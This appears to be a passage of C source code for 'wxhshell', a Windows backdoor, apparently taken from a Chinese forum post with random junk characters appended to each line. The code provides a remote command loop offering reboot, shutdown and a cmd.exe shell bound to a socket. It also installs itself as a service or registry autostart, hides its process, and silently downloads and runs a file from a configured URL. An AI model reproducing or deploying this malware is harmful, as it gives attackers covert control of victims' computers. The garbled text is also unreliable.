  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4x-,l1NMR  
  } ,<K+.7,)E  
  else { ZY7-.  
oB!Y)f6H1  
    switch(cmd[0]) { UkD\ma  
  [O^/"Qk  
  // 帮助 d])ctxB  
  case '?': { e0TxJ*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RLL ph  
    break; gCsN\z  
  } 6 %aaK|0  
  // 安装 `WCL-OoZc5  
  case 'i': { h*y+qk-!\g  
    if(Install()) $Yu'B_E6p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); glo G_*W  
    else |uz<)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W;R6+@I[  
    break; !hfpa_5  
    } NBasf n  
  // 卸载 /'.gZo  
  case 'r': { ;CS[Ja>e  
    if(Uninstall()) >G"fMOOkW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IQC[ewk  
    else S-\wX.`R1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FsO-xG"@"  
    break; KI#v<4C$P  
    } >Q(\vl@N=  
  // 显示 wxhshell 所在路径 5Hj/7~ =  
  case 'p': { @+zWLq!1pB  
    char svExeFile[MAX_PATH]; |6?s?tC"u  
    strcpy(svExeFile,"\n\r"); rxMo7px@}I  
      strcat(svExeFile,ExeFile); =$bF[3D  
        send(wsh,svExeFile,strlen(svExeFile),0); NTZ3Np`  
    break; kq(><T  
    } F~E)w5?\O  
  // 重启 1Zp/EYWa{  
  case 'b': { E <j=5|0t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6J JA"] `  
    if(Boot(REBOOT)) S}h d,"I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3  ;F  
    else { 2uT6M%OC  
    closesocket(wsh); UE5,Ml~X  
    ExitThread(0); ";&PtLe  
    } _~CJitR3  
    break; z8S]FpM6  
    } Z/:yYSq  
  // 关机 E Lq1   
  case 'd': { )S4ga  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]Oo!>iTQi  
    if(Boot(SHUTDOWN)) :epB:r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); saZK+kD4I  
    else { q[P>s{"  
    closesocket(wsh); QaEiPn~  
    ExitThread(0); A0A|cJP  
    } W[`ybGR<  
    break; ^Lfwoy7R  
    } ZBY}Mz$  
  // 获取shell D2D+S  
  case 's': { c 8  
    CmdShell(wsh); &@|? %  
    closesocket(wsh); (JdheCq!x  
    ExitThread(0); euT=]j  
    break; ?(B}w*G~  
  } "38<14V  
  // 退出 6ZI7V!k  
  case 'x': { gU&+^e >  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MTl @#M  
    CloseIt(wsh); ^)Y3V-@t  
    break; &Q"vXs6Gt  
    }  Br s}  
  // 离开 bvZD@F`2  
  case 'q': { Zp_j\B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RaTNA W)v>  
    closesocket(wsh); NW0se DL  
    WSACleanup(); 3"0QW4A  
    exit(1); =z9,=rR4  
    break; 7|dm"%@  
        } U,yZ.1V^:  
  } }0 H<G0   
  } S3U]AH)C  
-b+)Dp~$p  
  // 提示信息 D1>*ml  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @|ZUyat  
} 7u^wO<  
  } bL0]Yuh  
~MB)}!S:  
  return; /#: *hn  
} ?XyrG1('  
}lPWA/  
// shell模块句柄 #<&@-D8  
int CmdShell(SOCKET sock) xZ2 1i QeN  
{ }2BNy9q@  
STARTUPINFO si; >zJkG9a  
ZeroMemory(&si,sizeof(si)); LHOt(5VY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <)O#Y76s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "3Dnp?gB  
PROCESS_INFORMATION ProcessInfo; \&V[<]  
char cmdline[]="cmd"; SV ~QH&0'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5M)B  
  return 0; {*CG&-k2D  
} BBX/&d8n  
suhnA(T{  
// 自身启动模式 U$a)lcJd  
int StartFromService(void) ;{iTS sb  
{ uW[AnQ1w  
typedef struct Z9% u,Cb  
{ OH n~DL2  
  DWORD ExitStatus; :Zq?V`+M  
  DWORD PebBaseAddress; JDnWBEV  
  DWORD AffinityMask; ~/SLGyu  
  DWORD BasePriority; 9,Dw;|A]  
  ULONG UniqueProcessId; 0VR,I{<.{  
  ULONG InheritedFromUniqueProcessId; 4Vf-D% h>a  
}   PROCESS_BASIC_INFORMATION; H|?r_Ns  
F [-D +Nka  
PROCNTQSIP NtQueryInformationProcess; O7Jp ;  
@c8RlW/A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AoxORPp'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4TU\SP8sM  
?_S);  
  HANDLE             hProcess; {ByKTx &  
  PROCESS_BASIC_INFORMATION pbi; Q(1R=4?.Z  
[!KsAsmk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *}(B"FSO  
  if(NULL == hInst ) return 0; r_'];  
1T~`$zS7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4^Ks!S>K{8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BUh(pS:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1,Pg^Xu  
"GqasbX  
  if (!NtQueryInformationProcess) return 0; *E|3Vy{4  
:N<o<qn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =-P<v2|e  
  if(!hProcess) return 0; ~$ ?85   
<Z~Nz>'r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #>5T,[{?j  
.bh 7  
  CloseHandle(hProcess); UY.o,I> s  
|P9)*~\5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @frV:%  
if(hProcess==NULL) return 0; I7f :TN  
)&)tX.  
HMODULE hMod; rO1N@kd/  
char procName[255]; a)+*Gf7?  
unsigned long cbNeeded; ), VF]  
rF?QI*`Y(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |w_l~xYV)  
ct(euPU  
  CloseHandle(hProcess); 6@(o8i   
R >[G6LOG  
if(strstr(procName,"services")) return 1; // 以服务启动 OCqknA  
5HAAaI  
  return 0; // 注册表启动 /b4>0DXT5  
} li')U  
{t'SA]|g  
// 主模块 \4OU+$m  
int StartWxhshell(LPSTR lpCmdLine) JkLpoe81  
{ eVbT<9k  
  SOCKET wsl; e5n"(s"G*[  
BOOL val=TRUE; +rrA>~  
  int port=0; {FN4BC`3+  
  struct sockaddr_in door; [NGq$5  
jR3mV  
  if(wscfg.ws_autoins) Install(); NPE 4@c_a@  
\)g}   
port=atoi(lpCmdLine); RM25]hx  
=G 'c%  
if(port<=0) port=wscfg.ws_port; ;Q5o38(  
6k|f]BCL  
  WSADATA data; _(@V f=t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H5gcP11r  
xWWVU}fd1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T+5H2]yy)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ronZa0  
  door.sin_family = AF_INET; X4bZ4U*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?*QL;[n1  
  door.sin_port = htons(port); AY9#{c>X  
IJZx$8&A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZtI@$ An  
closesocket(wsl); d=HD! e  
return 1; yyVE%e5nl  
} r8_MIGM'  
cdL0<J b,  
  if(listen(wsl,2) == INVALID_SOCKET) { |Yi_|']#  
closesocket(wsl); "t>H B6^  
return 1; #Y'ub 5s  
} d&DQ8Gm ^  
  Wxhshell(wsl); Hv =7+O$  
  WSACleanup(); /XuOv(j  
j  W -K  
return 0; ~\O,#j`_  
HNX/#?3  
} [hiV #  
3HndE~_C&  
// 以NT服务方式启动 lp1GK/!s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wr6(C:  
{ #<w2xR]:  
DWORD   status = 0; dhr-tw  
  DWORD   specificError = 0xfffffff; }A<fCm7  
OK:YnSk"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t1o_x}z4.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3`njQvI\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [5P1 pkZ  
  serviceStatus.dwWin32ExitCode     = 0; o~'UWU'#  
  serviceStatus.dwServiceSpecificExitCode = 0; ~2XiKY;W?  
  serviceStatus.dwCheckPoint       = 0; 9@ ^*\s  
  serviceStatus.dwWaitHint       = 0; OL@' 1$/A  
2 3A)^j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S <++eu  
  if (hServiceStatusHandle==0) return; sFRQFX0XoY  
Q3LScpp  
status = GetLastError(); l]5!$N*  
  if (status!=NO_ERROR) ((fFe8Rn)q  
{ C7MCMM|S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7}Jn`^!  
    serviceStatus.dwCheckPoint       = 0; )5s-"o<  
    serviceStatus.dwWaitHint       = 0; T FK#ign  
    serviceStatus.dwWin32ExitCode     = status; HhUk9 >7  
    serviceStatus.dwServiceSpecificExitCode = specificError; tHH @[E+h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t)l^$j !h@  
    return; chU,));F  
  } 3hR3)(+1  
o{MmW~/o&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g+ cH  
  serviceStatus.dwCheckPoint       = 0; J['?ud}@  
  serviceStatus.dwWaitHint       = 0; d((,R@N'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Q5 |RL D  
} n_t.l<V  
SKSI\]Cc  
// 处理NT服务事件,比如:启动、停止 4AN(4"$N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ek0,@Vg9  
{ IU rGJ#}O  
switch(fdwControl) jbu+>  
{ :h<QM$P<  
case SERVICE_CONTROL_STOP: f_r4*#&v  
  serviceStatus.dwWin32ExitCode = 0; 7pZd?-6M^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e>_Il']Mb  
  serviceStatus.dwCheckPoint   = 0; ]nx5E_j2  
  serviceStatus.dwWaitHint     = 0; DcNwtts  
  { +2^Mz&I@b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wB%;O`Oh  
  } ;-{'d8  
  return; P{>-MT2E  
case SERVICE_CONTROL_PAUSE: !u%XvxJwDb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HVM(LHm=:  
  break; NYF 7Ep; _  
case SERVICE_CONTROL_CONTINUE: 4]ETF+   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qa/VSk!{  
  break; ]=sGLd^)E  
case SERVICE_CONTROL_INTERROGATE: /8s>JPXKH[  
  break; 7j{63d`2  
}; gib;> nuBK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d)v'K5  
} :.F;LF&  
XbW 1`PH  
// 标准应用程序主函数 -F';1D!l%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bBXUD;$  
{ 2@$`xPg  
hkvymHaG  
// 获取操作系统版本 |6zx YuX  
OsIsNt=GetOsVer(); Hu7WU;w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "v5jYz5M  
9rM6kLD  
  // 从命令行安装 7! #34ue  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9 IY1"j0O  
|F52)<\  
  // 下载执行文件 C3e0d~C  
if(wscfg.ws_downexe) { A&qZ:&(OM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pq<2:F:Kl  
  WinExec(wscfg.ws_filenam,SW_HIDE); C4t@;U=x  
} oa8xuFu(n  
`:;fc  
if(!OsIsNt) { vI+X9C?  
// 如果时win9x,隐藏进程并且设置为注册表启动 sn:wLc/GAd  
HideProc(); 4lF?s\W:  
StartWxhshell(lpCmdLine); #P-T4 R  
} |C.[eHe&D  
else APL #-`XC  
  if(StartFromService()) "|K D$CY  
  // 以服务方式启动 DzG$\%G2R}  
  StartServiceCtrlDispatcher(DispatchTable); \kVi&X=q:  
else R\n*O@E v3  
  // 普通方式启动 > R2o7~  
  StartWxhshell(lpCmdLine); =F90SyzTy  
E|omC_h  
return 0; S"Mm_<A$@  
}
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只看该作者 1 发表于: 2006-10-10
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